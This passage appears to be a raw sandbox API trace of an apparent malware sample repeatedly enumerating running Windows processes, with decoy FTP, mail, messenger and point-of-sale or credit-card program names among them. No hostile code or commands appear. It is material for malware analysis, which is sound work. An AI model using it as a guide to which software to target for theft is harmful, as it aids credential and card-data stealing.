lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0211.239] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0211.241] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0211.243] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0211.245] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0211.247] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.248] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.250] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0211.252] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.254] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0211.255] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0211.257] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0211.259] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0211.271] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0211.272] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0211.274] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0211.276] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0211.277] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0211.279] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0211.281] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0211.283] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0211.285] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0211.287] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0211.288] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0211.290] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0211.292] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0211.294] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0211.295] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0211.297] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0211.299] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0211.301] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0211.303] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0211.304] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0211.307] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0211.309] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0211.311] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0211.314] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0211.316] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0211.318] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0211.320] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0211.322] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0211.324] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0211.326] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0211.328] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0211.330] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0211.332] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0211.335] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0211.337] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0211.339] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0211.341] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0211.399] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0211.401] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0211.403] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0211.405] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0211.407] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0211.409] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0211.411] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0211.413] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0211.415] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0211.417] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0211.419] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0211.421] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0211.423] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0211.424] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0211.427] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0211.428] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0211.430] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0211.432] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0211.434] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0211.436] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0211.439] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0211.441] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0211.443] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.444] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0211.446] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0211.448] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.450] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0211.452] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0211.454] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0211.456] CloseHandle (hObject=0x11c8) returned 1 [0211.456] Sleep (dwMilliseconds=0x64) [0211.457] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0211.470] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.472] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.474] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.476] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, 